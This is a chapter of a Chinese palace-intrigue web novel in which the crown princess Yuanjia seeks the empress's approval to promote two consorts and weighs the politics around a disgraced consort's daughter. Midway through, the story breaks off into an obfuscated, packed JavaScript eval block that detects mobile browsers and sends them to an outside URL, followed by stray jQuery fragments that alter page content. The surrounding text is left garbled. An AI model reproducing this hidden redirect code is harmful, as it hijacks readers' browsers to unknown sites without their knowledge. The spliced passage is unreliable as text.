那之后每隔三日，燕景璇都会驾车过府，而庄映秋也会跟着公主府的车驾一并前来。至深秋时节，元嘉已能舞出庄映秋剑舞中的几丝神韵，又因习过剑的缘故，行云流水间更多三分锐气。


    这期间，上京城内倒一片平静。许是今年秋热过甚的缘故，便连设宴邀朋的也少了许多，茶余饭后的闲谈也始终集中在广平侯府的两位娘子身上，尤其是赵舒和。


    赵舒和月前已晋了正四品美人，虽非主位，却已然得了旨意，搬到正殿去住了。


    升迁之快，令人侧目。


    便连季母也闻得此事，元嘉领着季元淳回季家时，还特意问起赵家娘子在宫内的近况，知道赵舒和诸事尚算顺遂后，便也没再多言。


    这也不过闲语琐事，并不被元嘉过多在意。


    倒是柳安沅，近来实在反常。不说元嘉，便连穆瑶筝也许久未约到人一同玩乐了，好在平日里还有书信往来，倒不算失了联系。


    可，实在是叫人好奇。


    柳安沅最是喜好热闹的，往常待在家中超过半日，便要央着靖安郡主放她出门的。这段日子倒好，不止变得大门不出二门不迈了，听季母说，还开始向她请教起侍弄花草的事情了。


    桩桩件件，都与柳安沅一贯的脾性截然相反。


    元嘉正思忖着，突然想起季母提起柳安沅时的忍笑模样，又见她书信里通篇的躲闪言辞，脑中灵光骤现，下意识呀了一声。


    莫不是……


    若真是她想的那样，还真是要有大好事了。元嘉忍不住笑出声来，因燕景祁回程而有些低落的心绪此刻也略微高涨了些。


    是的，燕景祁已在回程的路上了。


    可讽刺的是，她并不是从男人那里知道这个消息的。告诉元嘉的，是欧阳沁寄来的信，是燕景璇不经意间在她面前说出的话，更是某日进宫请安时娄皇后直白的点明。


    好在到最后，燕景祁还是向太子府送了信回来。哪怕收到信时，距元嘉知道消息后已过去了五日，距燕景祁出发也已过去了近十日。而那封宣告着燕景祁归期的信，也不过被元嘉草草扫视了两眼，之后就静置在了书案上，不再管过。


    “……女君。”


    逢春小心推开屋门，上前几步替元嘉换上新沏的茶。早前端进来的那一盏已不见氤氲热气，可杯中的分量却丝毫未减，显然直到那茶凉透，也不曾有人饮过一口。


    元嘉却恍若未闻，仍保持着逢春进门时的姿势——歪坐在书案后头，手里拈了张染了墨渍的宣纸，皱着眉头不知在想些什么。


    逢春下意识放轻了脚步，收敛了动作正欲离开，却被元嘉出声唤住——


    “你留下，替我研墨。”


    逢春诶了一声，又绕到书案的另一侧，拿起墨块开始研磨。笔洗里的水是浑浊的，砚台里也还有干涸的墨迹，分明就是已经研磨过的样子，只是放置的时间过长，又凝在了一起。


    再看铺陈于桌面的宣纸，有些被胡乱揉成一团扔在角落，有些随意落了两字又被更大的墨团糊住，有些甚至连字都没有，只是被墨点不小心晕出来几缕轮廓，便被扔弃在桌脚。


    元嘉手里拿着的，已是留痕最多的一张了。


    又过了一刻钟的工夫，连逢春都觉得手开始酸痛时，元嘉才终于动了——从笔架上随意抓了支狼毫，另铺了张宣纸，重又落起字来。可也不过写满半张纸，便又放弃般揉作一团，将其掷在桌脚，嘴里也开始叹起气来。


    “女君，”逢春大着胆子问道，“您可是遇到了什么烦心事？”


    元嘉抬手揉着眉心，轻声道：“我在想，该怎么给皇后殿下写奏书。”


    “奏书？”


    逢春一时不解，她并未听说太子府近来有什么大事发生，甚至需要向皇后奏陈。


    “太子就快回来了，”元嘉抬眼，“吴奉仪随侍太子，自然也就一道回来了。”


    “……是？”


    逢春仍是困惑。


    “此行数月，去的又是北地苦寒之处，服侍太子起居的人只有吴奉仪一个，便无功劳也是有苦劳的，”元嘉搁下笔，“我想着，去向皇后殿下请旨，晋一晋吴奉仪的位分。”


    “奉仪此行辛苦，封赏亦无可厚非，想来皇后殿下也是允准的。”


    逢春笑道，不解于元嘉为何会在此事上显露犹豫。


    “若是封赏吴奉仪，那……徐奉仪呢？”


    逢春一下子没了声响。


    元嘉垂下眼帘，又盯着握在手里的毫笔发愣。无子无宠的吴小童若得了晋封，那曾经为良娣、又为太子诞下一女的徐丽华呢？


    她可以不在乎徐丽华的感受，却不能不顾及宜恕的脸面，也还得为前者的来日早作打算才行。


    自然，徐丽华谈不上无辜二字，徐家如日中天之时，她是上京城里最矜贵的女郎，享了家族带来的无边权势与富贵。若非徐家倾覆，她此生是可以料见的富贵无极。但，徐家的恶果，徐丽华已经饱尝了，便不该再让宜恕受此牵累了。


    可是……


    元嘉又是一声叹息，终似放弃般搁下了笔。


    今日，看来是写不出来了。


    “不若请皇后殿下——”


    逢春见元嘉实在为难，一瞬间想到了娄皇后，却又在前者抬眼的那一刹戛然而止。


    “这是东宫内事，如何好让皇后决断，”元嘉无奈一摇头，“难道还要说我这个太子妃无能不成？”


    “……是奴婢想的浅了。”


    逢春面露赧然。


    “与你何干，不过是我自己总不敢放松罢了。行了，找人进来收拾吧，我且再想想。”


    元嘉抻了抻身子，起身离开书案，临窗而立，望着院子里的梧桐树暂作舒松。


    逢春应了一声，捧回托盘便往屋外唤人，不多时就领着拂冬进门将屋内归置妥当。至于被元嘉写废了的纸，则被拂冬小心铺平后收捡在了木匣子里。逢春则摸了张笺纸，正欲在其中落上年号日月。


    “不用留了，都烧掉吧。”


    元嘉虽还看着窗外，却仍对屋内的动静知道得一清二楚。她若不发话，这些废了的纸便只能留着。


    这是宫里的规矩。


    两人垂目应下。逢春将香炉的盖子打开，用手轻轻扇动了两下，见火光隐现，这才让拂冬把匣子抱过来。前者打开匣子，将里头的废纸重新取出，一张一张地往香炉里放，直到看着它被陡然升高的火焰吞噬。


    当着元嘉的面，烧去留有她字迹的纸张，这也是宫里的规矩。


    元嘉回头，看着炉中的火焰一点点蹿起，再一点点失了光亮，心中的郁气也似这火焰般忽高忽低，最终化作一声喟叹。


    这样提笔犹豫的日子又持续了好几日，直到刘婵上门给元嘉送还香包。


    “后宫事皇后殿下作主，东宫事太子妃依制决断，这本就是理所应当的，元娘怎么就把自己给困住了？”


    刘婵摇头轻笑，望着元嘉无奈道。


    “可徐奉仪她……”


    元嘉还是有些犹豫。


    “对徐奉仪的处置，早在徐家被问罪之时便已经有了结果，不是吗？”刘婵温声道，“如今她只是太子嫔御，太子妃对她封赏也好，惩戒也罢，只关乎其自身对错，又能与什么再有牵扯呢？”


    元嘉豁然开朗，眉心的折痕也总算舒展开来。是她想的左了，一开始就把自己逼进了死胡同里，好在有刘婵这个旁观者的点醒，否则也不知道还要被困在其中多少日。


    “素娥，”元嘉搭过刘婵的手，语带感激，“多亏了你，不然我、我……”


    刘婵笑着抬手，作势捂住元嘉还想说话的嘴，“您和太子都是厚道人呢。”


    “……为何？”


    不解的人换作了元嘉。


    “我朝律法，出嫁女不受母家之罪牵连。可当年徐氏一族下狱时，仍有不少人家将已出嫁的徐氏女休弃后送入了掖庭，只为与徐家割席，以表已身清白。而太子，由始至终只做了降徐奉仪位分这一件事情，当时许多朝臣还对此颇有微词，如今却也无人提起了。”


    刘婵指尖无意识地勾住香包上束口的绳结，显然不像说话声那样平静。


    “至于吴奉仪，宫里侍奉过贵人、受过雨露恩泽的宫女，余生便不能再出宫了，若是没有名分，过得便连寻常宫女也不如。太子念旧，所以出宫建府时一并给了吴奉仪名分带出宫去，可再往前分到端王寝殿的，就没有这般好的福气了，如今只怕都被抛诸在北宫了。”


    “……北宫？”元嘉喃喃道，“我一直以为，那地方只有犯了错或是失宠的嫔妃才会去的。”


    “若非听吴奉仪提过，我也是这样以为的，”刘婵垂下眼睑，“太子给了她名分，您如今也愿意再拔她一拔，吴奉仪来日，想来也可过得不错。”


    “我只是想着她此行不易，该有封赏才是，并不是……”


    元嘉突然生出几分惭愧。


    扪心自问，她并没有那样好的慈悲心肠，在这样的地方，能保全自己、不至于随波逐流便已经很难了，她实在分不出精力去周全身边的每一个人。至于吴小童，她当然觉得可怜，心中亦有不少的怜悯，可对她的封赏，更多的却还是因为太子妃的责任，和想要修立自己名声的那点隐秘心思。


    “这已是很好了。”


    刘婵柔声道。


    元嘉怔怔地看着刘婵，突然露了抹笑，“我似乎明白阿柔为何这样依赖素娥你了。”


    刘婵罕见的愣了一下。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15355389|154513||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    “素娥是个很好的姊姊呢，”元嘉弯着一双笑眼，“可惜我没有阿姊，若是有，也希望是个如素娥一般的姊姊，叫我听着她的声音便能心安。”


    “您呀！”


    刘婵侧过脑袋，一时没忍住笑意。


    ……


    有了刘婵的开解，元嘉心中再无疑窦，第二日便拟好了奏书，又趁着进宫请安的机会，一并向娄皇后提了此事。


    如刘婵所说，娄皇后并未对元嘉的话提出质疑，反倒颇为赞赏。


    “吴氏随侍太子有功，”娄皇后顿了一下，“徐氏……为皇室诞育后嗣亦有功，是该封赏，太子妃有心了。”


    说罢，将奏书递给兰佩，吩咐道：“传旨，晋吴氏、徐氏为太子昭训，着人去办吧。”


    兰佩躬身答应，旋即往殿外走去，元嘉亦起身拜谢。


    “坐吧，”娄皇后温言道，“难为你记得她们，倒是个好心肠的孩子。”


    元嘉忙道不敢。


    娄皇后不置可否，只笑着将视线收回，端起茶盏啜饮一口，状似无意道：“太子再有几日便可抵京了。”


    “是，”元嘉神色不改，“自收到太子回程的消息，儿臣便着人每日往澹怀堂扫洗，就等着太子回来了呢。”


    娄皇后颔首，“太子这趟差事办得不错，陛下已决定在麟德殿为他设宴接风，当日只怕会留宿皇宫。你到时提前一日进宫，住回少阳宫去，第二日再与太子一道回去，免得在太子府空等。”


    “是。”


    元嘉敛目应下。


    这话看似在为她着想，实则全然不见商量的语气，所以回答便也显而易见了。


    “刘良娣教养子女亦是辛劳，太子妃也一并多照顾着些吧。”


    娄皇后扫视着在场诸人的反应，见元嘉再次应下，方才道：“行了，今日也差不多了，便都下去吧。”


    “……是。”


    出了清宁宫，倪娉柔始终平静的脸上总算出现一丝裂缝，眉眼间隐约可见不愉之色。


    元嘉正想着该如何解释，却被刘婵握住手腕轻摇了两下。


    “今日所求为何，倪妹妹心里都是清楚的，你莫要担心。”


    刘婵凑近在元嘉耳边，悄声道。


    元嘉又一次望去──果如刘婵所说，倪娉柔的脸色虽还有些难看，可终究知道自己身处何地，长长几次吁气后，人也平复了不少。再等到三人上辇，便彻底恢复了往日的淡然，嘴角也不再紧绷，只是神色恹恹，全无开口说话的兴致。


    这份沉默一直持续到车驾驶回太子府，几人步行回居所的路上。


    “我并非生你的气，只是不高兴她罢了！”


    终于，倪娉柔出声了。


    元嘉又望了刘婵一眼，见她朝自己一笑，又轻轻摇了摇头，便也不吱声，只默默听着倪娉柔忍了一路的不满。


    “宜恕有她这么个母亲，可惜了！”倪娉柔咬着牙道，“若是我、我……”


    之后便没有下文了，可在场的都是耳聪目明之人，又哪会听不出倪娉柔的言下之意。


    元嘉移开视线，又不露声色地与刘婵对视一眼，皆看见了彼此眼底的惊诧。


    果然，是因为那日听到娄皇后说起四公主的事后，起了心思了。而这，只怕也是娄皇后想看到的——既然无法抛舍皇室血脉，那就、索性换一个母亲好了。


    “你不生我气就好，”元嘉只装作没听到这句话，兀自道，“今日便不留你们了，宣旨的人怕是午后就要来，吴奉仪虽不在，徐奉仪却还是要出来听旨的，我得让人知会一声才行。”


    已然行至岔路口，元嘉遂停下脚步，朝二人道。


    刘婵笑着点了点头，拉过还在因失言暗恼的倪娉柔，行过礼便一起离开。元嘉则在原地停了片刻，直到两人的身影彻底消失在视线内，才转身走向岔路的另一头。


    她并不担心倪娉柔的心思，可却摸不准娄皇后是何想法。


    若只是不想叫徐丽华继续养着宜恕，直接下旨叫郡主们入宫听学就足够了。便是起了叫别人抚养宜恕的心思，来日入宫，徐丽华一生难及主位，她的孩子自然要交给别人抚养，又何必急在这一时呢？


    元嘉想不明白。


    可至少有一点能确定，娄皇后还未因徐丽华对宜恕生厌到像自己说出的话那般，如今也还顾念着宜恕的来日。


    那她呢，是不是也该推一把？


    元嘉停下脚步，回头朝倪娉柔离去的方向看了一眼，最终还是放弃了这个念头。来日注定的事情，便交给来日好了，宜恕……也还眷恋着自己的生母呢。


    元嘉下意识晃了晃脑袋，亦惊讶于自己这突如其来的不切实际的念头，很快收敛好思绪，快步消失在岔路尽头。